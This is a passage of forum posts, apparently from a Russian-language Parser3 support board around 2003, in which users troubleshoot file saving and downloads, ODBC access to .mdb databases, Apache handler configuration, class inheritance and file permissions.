$response:download[^file::load[documentation.pdf]] \
на\
$response:download[^file::load[binary;documentation.pdf]] \
а то ещё много народа может на эти грабли наступить"
"17801","а в HTML нормально:\
(copy/paste)\
Пример: выдача PDF файла \
\
Посетитель заходит на страницу с таким HTML… \
<a href=\"download_documentation.html\">Скачать документацию</a> \
\
download_documentation.html: \
$response:download[^file::load[binary;documentation.pdf]] \
\
…и нажимает на ссылку, браузер предлагает ему Скачать/Запустить. \
\
"
"17802","Добрый день товарищи.\
Перед о мной поставили задачу. Сделать так чтобы заказчик мог форматировать текст в управлении сайтом не касаясь разметки.\
\
Мне хочется узнать, можно сделать в TEXTAREA выделять отдельные куски текста жирным, наклонным, подчеркнутым?\
\
Если да, то как?\
Или есть какой-то другой способ решить задачу?"
"17803","В вашем случае - использовать псевдотеги ([b] -> <b>)\
\
А лучше (imho, удобнее) dhtml-editor.\
Будут кнопки как в Word'e, не надо будет заморачиваться с псевдотегами."
"17804","Вот код \
\
^issue.save[$path/$form:year/$form:month/${form:day}.html]\
\
который вызывает ошибку /public_html/news/2003/01/01.html' write failed: No such file or directory (2)\
\
Понятно, что таких дерикторий там нет, не может ли парсер создать\
их самостоятельно. Так как самому создавать их не благородное дело.\
Да локально все создается. "
"17805","RTFM\
\
^файл.save[[b]формат[/b];имя файла]     \
\
Метод сохраняет объект в файл в заданном формате под указанным именем. \
\
Формат - формат сохранения файла (text или binary) \
Имя файла - имя файла и путь, по которому он будет сохранен\
\
 "
"17806","Нужно HTML код использовать.\
Но как все-таки сделать? этот dhtml-editor, но так чтобы текст в поле преобразовывался в определенный. Заказчик не зочет возиться с кодами.\
\
А я не знаю как сделать :("
"17807","Исправил ^issue.save[text;$path/$form:year/$form:month/${form:day}.html] добавил text. Парсер выдал ошибку\
\
public_html/modul/news/add/index.html(72): 'text' unknown mode, must be 'append'\
\
\
"
"17808","Есть MS DHTML editor, можешь скачать по этому линку:\
http://download.microsoft.com/download/6/8/3/683DB9FE-8D61-4A3C-B7B8-3169FF70AE9F/htmleditor.exe\
\
Ни каких тегов - все визуально.\
\
Я им не пользуюсь, сильно громоздкий. Мой скрипт гораздо меньше.\
\
P.S.\
Редактируемый текст загружается не в textarea, а в iframe\
\
Удачи"
"17809","Нету ничего другого?\
У меня IE 5.0"
"17810","возможно фаил уже сушествует"
"17812","В том то и дело надо, чтобы они создавались автоматически.\
Так как это добавление новостей на сайт."
"17813","Я думал, что issue - file, а это table ->> формат не нужен\
насчет путей - может сделать одну папку \"news\" а в нее кидать 2003-04-02.html?\
"
"17815","Спасибо за помощь, вам Immortal. Я понял выход из ситуации.\
Но всетаки нельзя ли чтоб они создавались сами. Так красивее и удобнее."
"17816","Могу свой код на мыло.\
Но завтра. Сегодня не успеваю, дел много."
"17817","Может так и есть, так как на сервере стоит парсер без safe mode.\
Да и не могли бы вы объяснить как это можно исправить, пожалуйста.\
\
Да и большое спасибо вам за Парсер."
"17818","[code]^xxx.save[/ok.txt][/code]\
\
по-моему, вы путаете пути. public_html явно лишний, ведь пути в Parser считаются от корня веб пространства."
"17819","Давненько не видел на данном форуме чего-нибудь простенького и интересненького. Посему постю сию глупость, которая облегчает работу с классами (лично мне).\
\
Итак, идея - все пользовательские классы имеют идентичную структуру. Находятся в одном каталоге. Каждый класс - отдельная функция сайта.\
\
Для того, чтобы подключить гостевуху, или форум - мы просто копируем по ftp (или закачиваем через web-форму) новый модуль - новый класс. Он автоматически подключается и распознается системой. Ура =)\
\
[code]\
@main[]\
### подключаем классы, которые у нас в /classes/ =)\
$dir[^file:list[/classes/;\\.p^$]]\
^dir.menu{^use[/classes/${dir.name}]}\
[/code]\
\
ну и дальше пишем, пишем и пишем =)\
я уже начал, а вы? =)"
"17820","Попробовал сохранить просто\
^issue.save[/news/${form:day}.html] папки news в корне сервера нет\
Выдало ту же ошибку.\
^issue.save[/${form:day}.html] даже такая инструкция выдает ту же ошибку. \
"
"17821","И другие наверно тоже, только я их ложу в отдельную папку modules, а классы в classes, что бы не путать"
"17822","www.editworkspro.com, видел? Если это то что надо то пиши :)) Есть Парсерная версия, правда глючноватая..."
"17823","учтите, что скрипт (parser.cgi) вероятно работает вовсе не от того пользователя, которым ходите вы."
"17827","Можно и мне"
"17832","Через file:list я вывожу ссылки на каждый элемент name, как определить, что name будет каталогом, а не файлом?"
"17834","У меня проблема,..  после выполнения всего мной написаного выдаётся страница и ещё знак   \"]\", не пойму откуда он берётся\
Вроде всё закрыто проверил..\
\
\
Вот код:\
\
^html_page[Телефоны предприятия;Telephones, kabinets...;Для поиска на страничке пользуйтесь сочетанием клавиш \"Ctrl+F\";\
^server_connect{\
	$res[^table::sql{SELECT id, surnames, room, phone_int, phone_IOH FROM workers ORDER by orders, surnames}]\
		<TABLE cellspacing=\"0\" cellpadding=\"0\" border=\"1\" class=\"tables\" height=\"2147\" style=\"border-collapse: collapse^; border-width: 0\" bordercolor=\"#111111\">\
<TR> <TH height=\"20\" class=\"TH\"><em>\
<font size=\"3\" color=\"#4F4F4F\">Фамилия, имя, отчество </font></em></TH>\
<TH  height=\"20\" class=\"TH\"><em>\
<font size=\"3\" color=\"#4F4F4F\">Kом </font></em></TH>\
<TH  height=\"20\" class=\"TH\"><em>\
<font size=\"3\" color=\"#4F4F4F\">Наш </font></em></TH>\
<TH  height=\"20\" class=\"TH\"><em>\
<font size=\"3\" color=\"#4F4F4F\">ИОХ </font></em></TH>\
</TR>\
         ^res.menu{\
<TR valign=\"bottom\">\
<TD width=\"370\"><br>\
                  $res.surnames</TD>\
                  <TD width=\"50\"><center>\
                      $res.room</center></TD>\
                  <TD ><center>\
                      $res.phone_int</center></TD>\
                  <TD width=\"70\"><center>\
                      $res.phone_IOH</center></TD>\
					 }\
		</TABLE>\
}\
\
]\
"
"17835","A есть ли у Parser аналоги за рубежом и в России?"
"17836","тут может всё и закрыто, а в где-нить в другом месте открыто...\
смотри в других местах... ^html_page проверь"
"17837","http://www.shokoladki.ru/catalog/shopping-list/?save=do&q_21=55.3\
нет защиты от дробного кол-ва шоколадок:))) \
просто не хорошо когда корзина слетает, может зделать округление или хотя бы ошибку на JavaScript? \
Да и если менять кол-во в строке браузера, то вся проверка на кратность кол-ва в пустую, так что вот..."
"17839","Есть конечно же, но смотря что можно считать аналогом.\
В смысле шаблонов - PHP, HTML::Mason, еще какая-то фигня - не помню как называется, но у нее на логотипе коняка, движки на питоне, на делфи, еще какой-то там Билл придумал ASP.\
\
А зачем вам это?\
"
"17840","да так просто инетересно узнать, действительно ли студия Лебедева такая не повторимая или же кто-то их опередил! мне очень приятно что в рунете есть такие продвинутые люди!"
"17841","Как в тексте заменить Enter на <br>?\
\
"
"17845","А нах... гм.. зачем! их все сразу подключать?\
По-моему логичнее подключать класс там, где он нужен, и больше нигде :)"
"17846","А какой именно? Я зашол на страничку http://www.ultraedit.com/downloads/additional.html\
там такой выбор, что голова кругом!!\
Какой мне поможет?"
"17847","Установил Parser3 (хостинг 350mb.ru) \
\
_test.html выдает:\
-----------------------\
Глобальные переменные, заданые в конфигурационном auto.p\
$CHARSETS:\
windows-1251 $charsetsdir/windows-1251.cfg относительный путь. проверка невозможна \
koi8-r $charsetsdir/koi8-r.cfg относительный путь. проверка невозможна \
\
$SQL:\
mysql $sqldriversdir/libparser3mysql.so (относительный путь. проверка невозможна) libmysqlclient.so (не найден) \
-----------------------\
Устанавливал как написано в http://www.parser.ru/hosters/350mb.ru/1/\
\
-скачал:\
parser3_3_0_0007_sp1_redhat72_cgi.tar.gz \
parser3conf_20020802_unix.tar.gz\
parser3sql_3_0_0006_redhat72_mysql.tar.gz\
\
-положил:\
parser3.cgi в /public_html/cgi-bin (закачивал в binary)\
auto.p в /public_html/cgi-bin\
koi8-r.cfg в /public_html/cgi-bin/charsets\
windows-1250.cfg в /public_html/cgi-bin/charsets\
windows-1251.cfg в /public_html/cgi-bin/charsets\
windows-1257.cfg в /public_html/cgi-bin/charsets\
libparser3mysql.so в /public_html/cgi-bin/lib\
\
-содержимое .htaccess:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</files>\
\
В чем ошибка?"
"17848","Могу ли я сменить, если да то как? Или это надо обращаться к администратору."
"17849","а если форбиденном прикрыть?"
"17851","Вот такой вот код:\
$uprav[^table::load[/refer/upravlen.cfg]]\
^uprav.locate($uprav.code=6503)\
$uprav.name\
\
Вот такая ошибка:\
contains illegal assignment attempt of bool to MAIN method_frame, use constructor\
\
locate\
\
А хотелось всего лишь, чтобы текущей становилась строка, где значение поля code было 6503...\
"
"17852","т.е. надо так: ($uprav.code == 6503)\
\
во вторых, математическое выражение там лишнее, лучше так: [code;6503]\
\
в третих, locate возвращает boolean, т.е. надо, например, так:\
^if(^uprav.locate[code;6503]){\
  ^rem{ вот теперь указатель где надо }\
}"
"17853","то, что ты написал - совершенно нормльно для относительных путей.\
\
если определишь $SQL.connect-string и будет происходить нормально соединение с БД - то никаких проблем нету. забить."
"17855","В accesslog:\
[26/Jun/2003:11:41:24 +0400] \"GET /_test.html HTTP/1.0\" 200 7444 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com])\" \
\
В errorlog:\
Пусто\
\
Попробую коннект с БД..."
"17856","Спасибо огромное, Миша. Не пришло мне в голову, что возвращает (истина/ложь)."
"17858","Привет!\
1)Народ подскажите мне pleazzzz как подключить базу *.mdb\
не могу хоть ты лопни \
За ранее спосибо!!!\
2)как мне из файла *.txt загрузить html код???\
\
\
За ранее огромное спосибо!!!!"
"17859","прежде чем что-то менять, сначала разберитесь с ними.\
\
только, пожалуйста, не говорите, что понятия не имеете о том, что такое пользователь/группа пользователей/права на запись/чтения/запуск. и как их меняют."
"17860","на Win32 через ODBC в Parser можно использовать MSAccess базы, и вообще любые базы, для которых есть ODBC драйвер (MSSQL, …).\
\
пара кликов мышки:\
[Start]|Settings...\
Control Panel\
ODBC\
[Add...]\
<<Тут спискок установленных ODBC драйверов, выбираете нужный, например\
Microsoft Access (*.mdb)\
...появляется окошко настройки\
для MSAccess:\
Data source name: вписываете имя, на которое потом сошлётесь в ^connect\
Database:\
[Select...]\
<< выбираете .mdb файлик\
\
привет."
"17861","Ага.... Спосибо огромное\
Но меня интересует сама строка подключения!!\
Я писал вот так\
^connect[имя_базы]выдаёт ошибку!\
как выгдядет сторока подключения "
"17862","http://www.parser.ru/docs/search.html?text=odbc"
"17863","Спасибо ребята,..  нашёл я эту кавычку этой программулиной."
"17865","также интересно, что написанные в auto куки читаются, а внешние нет"
"17866","не работает я пробывал так как вы мне написали \
А нет подробных примеров??\
Может вы напишите строку подключения??\
wersia\
baza.mdb\
пороль\\\
      \\  не заданы\
имя   \\\
простите за назойливость!\
  "
"17867","пожалуйста, приведите, ваш кусок кода?"
"17870","как сделать скрипт, который бы возвращал exe-файл для скачки?"
"17871","odbc://wersia=baza;UID=;PWD= \
Я вообще не понимаю как это выглядит \
Подключение всмысле. \
Помогите охото попрактиковаться!\
"
"17872","Какой он должен быть?\
Ну чайник Я.\
"
"17873","я не очень понял, как вы смогли прочесть это, что получилось приводимое.\
\
когда вы создавали DNS[http://www.parser.ru/forum/?id=17860] вы что в поле \"Datasource name\" написали? \"baza\"?\
\
тогда\
[code]\
^connect[odbc://DSN=baza]{…}\
[/code]"
"17874","Если windows 2000:\
Мой компьютер --> Панель управления --> Администрирование --> Источники данных (ODBC) --> вкладка Системный DSN --> кнопка Добавить... --> из списка Microsoft Access Driver (*.mdb) --> прописываем имя источника данных --> выбираем файл базы (кнопка Выбрать) --> прописываем имя и пароль (кнопка Дополнительно...)\
\
Вот. Что-то в этом роде..."
"17876","Делаем таблицу downloads с полями id, url и counter. Определяем по id url файла, делаем редирект файла с помощью [code]$response:location[$url][/code], а значение поля counter увеличиваем на еденицу, всё."
"17877","Собственно мене не понятно как обратиться ко второму столбцу таблици, и сделать его чистым\
\
^MAIN:dbconnect{$repl[^table::sql{select original, exchange from exchange}[nameless]]\
^taint[as-is][$repl.2]"
"17879","Потому что [i]nameless[/i] не будет работать ы конструктором [i]sql[/i]. у и соответственно рабочий код такой -\
[code]\
^MAIN:dbconnect{\
	$repl[^table::sql{select original, exchange from exchange}]\
	^taint[as-is][$repl.exchange]\
}\
[/code]"
"17880","До того кака я загнался чисткой кода всё работало, только то что должно было восприниматься как код, воспринималось как инфа для юзера."
"17881","Как обратиться к стобцу без имени? (наверно по номеру, но как, в доке я ненашёл)"
"17883","[code]\
Если необходимо получить таблицу без имен столбцов (что не\
рекомендуется), то перед заданием табличных данных необходимо\
указать параметр nameless. В этом случае столбцы первой строки\
воспринимаются конструктором как данные таблицы, а в\
качестве имен столбцов выступят их порядковые номера,\
начиная с нулевого. \
[/code]\
\
http://www.parser.ru/docs/lang/tablecreate.htm"
"17884","И что значит [quote]... то что должно было восприниматься как код, воспринималось как инфа для юзера.[/quote]???"
"17886","В документации не написано...\
По крайней мере я не заметил"
"17887","с именованными таблицами надо работать по именам столбцов.\
с неименованными - по номерам (настоятельно не рекомендуется использовать подобные таблицы, особенно при работе с sql)\
\
если приспичило - напишите свой метод, который будет делать ЭТО.\
для написания метода потребуется написать 4 строчки кода используя\
^таблица.columns[] и ^таблица.offset(число)"
"17888","Наверно есть другие способы решения данного вопрося.\
\
Я делаю таблицу замен для сайта энтер это <br>, ...\
Я хочу чтоб изменять этот список можно было через WWW \
Для решения я решил использовать базу данных а не cfg файл\
\
Код для ввода доанны в таблицу работает нормально, а вот использовать введённые данные я не могу.\
\
Подскажите как это можно сделать рациональнее в этом примере.\
\
[code]\
@CLASS\
lenta\
\
@load[]\
^MAIN:dbconnect{\
   $messages[^table::sql{select date, header, body, bigbody, id from news group by date, id desc order by id desc}[$.limit(15)]] \
}\
\
@show_messages[]\
^MAIN:dbconnect{$repl[^table::sql{select original, exchange from exchange}[nameless]]\
^taint[as-is][$repl[1]]\
      <table bgcolor=\"#c0ffc0\" width=\"100%\">\
^if($messages){\
   ^messages.menu{\
      ^if(def $messages.bigbody){\
         <tr>\
         <td bgcolor=\"#d0d0d0\" align=\"left\" valign=\"baseline\"><h3><a href=\"/news/?id=$messages.id\">$messages.header</a></h3></td><td width=\"20%\" bgcolor=\"#d0d0d0\" align=\"left\"><b>$messages.date</b></td>\
         </tr>\
      <tr>\
         <td colspan=\"2\" bgcolor=\"#f0f0c0\"><p><a href=\"/news/?id=$messages.id\">^messages.body.replace[$repl]</a></p><br></td>\
      </tr>\
      }{\
         <tr>\
         <td bgcolor=\"#d0d0d0\" align=\"left\" valign=\"baseline\"><h3>$messages.header</h3></td><td width=\"20%\" bgcolor=\"#d0d0d0\" align=\"left\"><b>$messages.date</b></td>\
         </tr>\
      <tr>\
         <td colspan=\"2\" bgcolor=\"#f0f0c0\"><p>^messages.body.replace[$repl]</p><br></td>\
      </tr>\
     }\
   }\
}{\
   Новостей нет.\
}}\
      </table>\
[/code]\
\
Заранее благодарю"
"17890","2. я вижу в коде синтаксис, который я не знаю что делает, и я не знаю откуда такой взят (можно ссылку на документацию?):\
\
[code]\
$repl[^table::sql{select original, exchange from exchange}[nameless]]\
[/code]\
\
и\
[code]\
^taint[as-is][$repl[1]]\
[/code]\
\
обращение к полям таблицы, согласно доке, такое $таблица.поле , т.е.:\
[code]\
^taint[as-is][$repl.original]\
[/code]\
\
\
3. я не видел в документации, чтобы говорилось, что таблица для замен должна быть обязательно nameless. replace-у пофигу, именованая она или нет. если нет огромных _аргументов_  -рекомендуется работать с именованами таблицами.\
[url=\"/docs/lang/stringreplace.htm\"]дока[/url]:\
[quot]\
Имена столбцов несущественны, можно называть их from/to, или вообще никак не называть, воспользовавшись nameless таблицей. \
[/quot]\
\
ну и вдогонку... для того, чтобы помочь, надо понять вопрос, я вопроса понять не могу."
"17891","Написал 3 предложения, а мозги вправил так что всё заработало ;)\
\
Спасибо. Особенно за №1"
"17892","[code]\
@CLASS\
Tree\
\
@init[]\
^getRoot[]\
^getLeaf[]\
^getBranch[]\
$MAIN:test[$leaf]\
\
@getRoot[]\
$self.root[root]\
\
@getLeaf[]\
$self.leaf[leaf]\
\
@getBranch[]\
$self.branch[branch]\
\
#--------------------\
\
@CLASS\
spruce\
@BASE\
Tree\
\
@init[]\
^BASE:init[]\
\
@getLeaf[]\
$self.leaf[pin]\
[/code]\
Теоретически, инициализация класса [i]spruce[/i] должна поместить в глобальную переменную [i]test[/i] значение [b]pin[/b]. А на практике там вообще пусто! Вроде ничего не перепутал... Вроде..."
"17893","Неплохо бы в кострукторе для начала объявить $leaf[], да?"
"17896","Вопросов будет много, но начнём с фундаментального...\
\
Содержание файла /auto.p:\
===============\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[]\
<html>\
<head>\
<title>Parser3 testing</title>\
</head>\
<body>\
\
@body[]\
Our current folder is ^current_folder[]\
\
@footer[]\
</body>\
</html>\
===============\
\
Содержание файла /index.html:\
===============\
@current_folder[]\
ROOT folder\
===============\
\
Содержание файла /about/index.html:\
===============\
@current_folder[]\
ABOUT folder\
===============\
\
\
Смотрим в браузере (с включённым апачем) на файл /index.html -- видим в одну строчку:\
\
@current_folder[] ROOT folder \
\
Смотрим на /about/index.html -- видим:\
\
@current_folder[] ABOUT folder \
\
\
Ожидали увидеть в первом случае: \"ROOT folder\", во втором -- \"ABOUT folder\" в браузере, у которого окно всегда будет называться \"Parser3 testing\".\
\
Вставлять в оба индексных файла в первой строке\
^main[]\
пробовал -- не помогает. Текст \"~main[] \" предваряет то, что я уже привёл в качестве результата, показываемого в браузере.\
\
Где и что я недописал?\
"
"17897","есть ли где нить подробное описание как работать с базой *.mdb\
а то всё про sql везде.\
третий день пытаюсь что то сделать хоть бы одну запись добавить и всё напрасно!\
@b[]\
^connect[odbc://DSN=baza]{\
^int:sql{select count (*) from news}\
}\
в примере написано что должен вернуть \
число записей \
ИИИИИИИИ как всегда у меня ошибочку выдает\
как добавить запись это я вообще в help-е не нашол\
Подскажите как быть!!!\
\
\
\
\
У меня всё не как улюдей у всех всё получаеться у меня же нет вот пимер\
@q[]\
$str[О, сколько нам открытий чудных!…] \
$parts[^str.split[нам]] \
^parts.save[parts.txt] \
в index.html\
^q[]\
результат ошибка!!!!\
да что хоть такое .................................\
\
___________________________________________________\
С уважением Алексей \
\
"
"17898","А что у вас в .htaccess?"
"17899","Открываем MS Access, создаём базу test.mdb поля:\
i_id - \
s_name - текстовое\
s_descript - текстовое\
\
Создаём System DSN [i]для этой базы[/i]. Имя имя источника данных - test, имя для проверки подлинности - user, пароль - password.\
\
Пишем файл для проверки (test.p3 или что там у вас, html?):\
[code]\
@main[]\
^connect[odbc://DSN=test^;UID=user^;PWD=password]{\
	^for[i](1;10){\
		^void:sql{\
			INSERT INTO test\
			(s_name, s_descript)\
			VALUES('&#199;&#224;&#239;&#232;&#241;&#252; N$i', '&#206;&#239;&#232;&#241;&#224;&#237;&#232;&#229; &#231;&#224;&#239;&#232;&#241;&#232; N$i')\
		}\
	}\
	$test[^table::sql{\
		SELECT\
			i_id AS id,\
			s_name AS name,\
			s_descript AS descript\
		FROM test\
		WHERE i_id>3\
	}]\
	<table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\" border=\"1\">\
	<tr>\
		<th>id</th>\
		<th>name</th>\
		<th>descript</th>\
	</tr>\
	^test.menu{\
		<tr>\
			<td>$test.id</td>\
			<td>$test.name</td>\
			<td>$test.descript</td>\
		</tr>\
	}\
	</table>\
}\
[/code]\
Вуаля!\
"
"17900","VALUES('&#199;&#224;&#239;&#232;&#241;&#252; N$i', '&#206;&#239;&#232;&#241;&#224;&#237;&#232;&#229; &#231;&#224;&#239;&#232;&#241;&#232; N$i')\
\
Надо написать:\
VALUES('Запись N$i', 'Описание записи N$i')\
\
Это из моего редактора так вставилось..."
"17901","Про второй вопрос...\
\
Файл test.html:\
[code]\
@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
[/code]\
И запущайте его. И, если всё работает, садитесь и потом внимательно и вдумчиво перечитываете инструкцию. С чувством, с толком с расстановкой :))) Сорри..."
"17902","Как лучше делать subj (для многоязыковых сайтов). Например для двух версий русской и чешской?"
"17903","общая идея:\
глядя на код должно быть понятно, что же он делает.\
\
глядя на ваш код, это понятно.\
но в общем виде: кто-то вполне мог не объявить в родительском getLeaf.\
что бы выходило: вызывается какая-то функция, а потом читается волшебным образом появившаяся переменная.\
это — нехорошо/непонятно/нелогично=неправильно.\
\
посему было решено сузить область видимости полей класса до самого этого класса. плюс ребёнку видны поля родителя.\
\
диагноз: явная инициализация переменных в родителе = средство повышения читабельности/понятности кода."
"17904","я знаю, что многие любят писать $self просто так.\
они этим отличают имена параметров метода от имён полей объекта.\
\
моё личное мнение: если подобное и оправдано, то только в конструкторах.\
\
в остальных местах крайне нежелательно писать лишний $self, поскольку он… лишний. всё лишнее загромождает код и препятствует пониманию."
"17905","Да, похоже.\
Но ещё пару дней назад оно работало.\
Установлен (и только что переустановлен) на локальном диске Денвер-2. Я пока дома играюсь, и вообще, похоже, сгенерю статические страницы дома, и их загружу на сервер, поскольку с провайдером пока не договорился.\
\
Путь к файлу parser3.exe:\
Z:\\usr\\local\\parser3\\PARSER3.EXE\
\
Когда в Z:\\usr\\local\\apache\\conf\\httpd.conf\
прописываю:\
\
AddHandler parser3-handler html \
Action parser3-handler /usr/local/parser3\
<Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
</Files>\
\
он почему-то при обращении в браузере к странице http://localhost/anothertest/ ищет её по адресу: z:/home/localhost/www/usr/local/parser3/anothertest/index.html\
Мдааа... Что же я такое наворотил? Ведь генерилось же вот совсем недавно хоть что-то.\
"
"17906","что за ошибка то? copy/paste?"
"17907","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
\
\
А вот его ответ всё делел как вы написали!!!!!"
"17908","и положите parser в cgi-bin.\
в Action пишется [b]виртуальный[/b] путь.\
\
пожалуйста, перед дальнейшими вопросами поищите ключевые слова по форуму: все подобные вопросы были многократно обсуждены"
"17909","пожалуйста, перед публикацией своих вопросов поищите ключевые слова в форуме.\
\
как вы можете догадаться, всё уже обсудили по нескольку раз."
"17910","вопрос: вы прочли сообщение об ошибке?\
переведите, пожалуйста, последний абзац?"
"17911","Надо посмотреть файл с ошибками, который создаёт Парсер и/или Апач. А ещё можно изменить конфигурационный файл auto.p таким образом, чтобы текст ошибки выводился сразу в броузер, но сил чтобы объяснить как это сделать у меня уже нет. Попробуйте поискать по форуму, ну или может ещё кто подскажет."
"17912","Да нет я разбираюсь в этом. Пришлось поменять эти самые права и все заработало как должно быть. Спасибо вам за помощь, и извените\
за беспокойство."
"17914","Cаш,\
я поискал, конечно. Не очень, правда, понятно какие ключевые слова использовать, чтобы нарыть что-то осмысленное.\
\
Теперь, когда я скопировал весь каталог Z:\\usr\\local\\parser3 в Z:\\home\\localhost\\cgi-bin, и обращаюсь к http://localhost/anothertest/ он мне говорит, что не сушествует файла:\
z:/home/localhost/www/cgi-bin/parser3/anothertest/index.html\
Так он на самом деле -- на два уровня выше -- вот здесь:\
Z:\\home\\localhost\\www\\anothertest\
\
Что надо прописать и где?\
И в первой моей реплике -- всё ли там нормально с кодом, или -- тоже глюки?"
"17915","Что-то мои smpt-сервера сошли с ума, и на твоё письмо ответ возвращается ко мне якобы неотосланным. Это борьба со спамом, или основание поговорить с моим провайдером?\
\
И -- да, Саш, это со мной тебе случилось общаться -- только уже не пару, больше трёх лет назад. :)"
"17916","не работает!!!\
Ошибку выдаёт"
"17917","Можно ли хранить в SQL фрагменты страниц с парсерным кодом? Вернее, что хранить их можно я знаю, но как заставить выполняться парсерный код. ХТМЛ в чистом виде работает замечательно."
"17920","сейчас в action написано /cgi-bin/parser3, right?\
если веб-сервер ищет z:/home/localhost/www/cgi-bin/parser3\
значит веб-сервер думает, что виртуальный каталог /cgi-bin расположен здесь: z:/home/localhost/www/cgi-bin\
\
диагноз: \
* или надо туда и положить parser3.\
* или надо поправить настройку веб-сервера, чтобы виртуальный /cgi-bin смотрел в то место, где бы хотелось иметь parser.\
\
важно: чтобы каталог со скриптами [b]был настроен[/b], просто класть parser3 в произвольный каталог на веб-сервере бесполезно."
"17921","мы не принимаем письма от тех провайдеров, кто[клиенты кого] засветились как злостные spammer'ы.\
\
это общепринятая практика.\
\
из грустного: на провайдера надо наехать обязательно. однако поможет это не скоро."
"17922","Я сколько не пробывал сохранять \
не один фаил не сохраняет \
а вот загружать Это он могёт..\
Блин полный бред\
Выполняет только простые примеры\
Типа \
@pro[]\
$wer{\
<a href=\"weere\">Поба</a>} \
$wer\
\
беру пример с helpa напроч отказываеться работать \
может я не так установил(хотя простые примеры работают)\
"
"17924","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
\
_________________________________________________________________\
@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
\
\
В *.html\
вставляю   ^main[]\
\
\
\
???И ещё фаил должен сам создаваться Написано что да!!!"
"17926","вас просили показать строку из журнала ошибок веб-сервера,\
вы же копируете сообщение из экрана browser'а.\
очевидно, вы не знаете, что это такое, и продолжаете упорствовать.\
хорошо, пожалуйста сделайте то, что написано здесь:\
http://www.parser.ru/forum/?id=17732\
\
после чего попробуйте ещё раз.\
на этот раз на экране получите более развёрнутое сообщение об ошибке."
"17928","этот вопрос уже обсуждался."
"17929","Это сообщение не есть описание ошибки. Это сообщение значит, что ошибка произошла, а какая... ВОТ ЭТО КАК РАЗ НАДО ПОСМОТРЕТЬ В ЛОГЕ. Лог, это такой файл текстовый.\
Вот это:\
[quote]More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/quote]\
Буквально означает следующее:\
[quote]Дополнительную информацию об этой ошибке вы можете найти в протоколе ошибок Парсера или в отладочной версии unhandled_exception.[/quote]\
Если вы живёте в Москве, я вам могу по телефону попробовать объяснить. Адрес электронной почты - 7777@land.ru"
"17930","Если я всё правильно зделал то вот что он мне выдал\
\
\
c:/inetpub/wwwroot/prob/1/1.html(1): 'main' call canceled - endless recursion detected  type: parser.runtime\
\
"
"17931","Получается безконечная рекурсия, удали ^main[] везде где ты его наставил."
"17932","Ну напишите как мне надо попробывать чтоб это заработало"
"17933","-"
"17934","Ну не получаеться аж до слёз обидно!!!\
ааааааааааааааааааааааа\
ну делаю вроде всё верно....\
Либо Parser глючит\
У вас есть icq что б я форум своей тупизной не гадил!!!\
Умоляю помогите...............\
Ну наберитесь терпения..."
"17935","... не того, который конфигурационный :)))"
"17937","1. возьмите себя в руки.\
2. если ещё не передумали идти и сдавать компьютер в магазин (с) известная история, то\
3. пожалуйста, объясните спокойно, что вы хотите сказать строкой\
[code]\
^main[]\
[/code]\
?\
"
"17938","Сделал форму, вроде всё нормально но выдаёт ошибку:\
\
[Fri Jun 27 13:31:42 2003] [warn] [client 192.168.0.53] handler \"parsed-html\" not found for: d:/home/iflab/form.html\
, так же выдаёт такую же ошибку когда в теге <form> совсем нету action.\
Помогите пожалуста, где поднастроить??\
\
<form method=\"post\" action='http://iflab/form.html'>\
<input name=\"text\" >\
<input type=\"submit\" value=\"Искать\" name=\"submit\">\
</form>\
\
^if(def $form:text){\
^server_connect{\
$res[^table::sql{SELECT * FROM workers}]\
<table border='1'>			\
$res.menu{\
<TR><TD>$res.surnames</TD></TR>	}\
</table>\
}\
}			   \
\
\
"
"17939","приведите ваш .htaccess?"
"17940","@USE\
имя_класса.p\
:))))))))))))))))))))"
"17941","Дело в том что я совсем запутался.\
\
@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
\
Это мне предложил  Givi/\
http://www.parser.ru/forum/?id=17901\
\
у меня не работает.....\
и выдаёт ошибку/\
http://www.parser.ru/forum/?id=17930\
\
напишите мне пожалуйста \
правильный код..\
а конкретно мне надо попробывать сохранить что нибудь в смысле текст или  html код в фаил *.txt\
\
\
"
"17942","Вот текст :\
\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"17943","У тебя HTML файл ничего не содержит кроме ^main[] так, в документации сказано что такой файл без объявления методов сам становится методом @main[], этот метод вызывается автоматически. Вот он и вызывает сам себя без конца."
"17944","алгоритм:\
\
открываете текстовый редактор на новый файл,\
вписываете туда, скажем, это:\
[code]\
@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
[/code]\
\
кладёте файл в веб-пространство, и открываете http://xxx/его.html в браузере.\
\
расскажите нам, что у вас получается?\
\
очень попрошу: сделать это, и не писать, что вы \"вроде бы уже примерно что-то около того как-бы может-быть с большой вероятностью наверное проделали\", OK?"
"17945","я засунул в *.txt\
алгоритм\
@main[]\
\
^q[]\
\
@q[]\
$str[?, сколько нам открытий чудных!...]\
$parts[^str.split[нам]]\
^parts.save[parts.txt]\
\
сохранил его как *.html\
и запустил на выполнение \
он мне выдал следующее\
c:/inetpub/wwwroot/prob/1/3.html(8): 'c:/inetpub/wwwroot/prob/1/parts.txt' write failed: Permission denied (13), actual filename 'c:/inetpub/wwwroot/prob/1/parts.txt'  type: file.access\
\
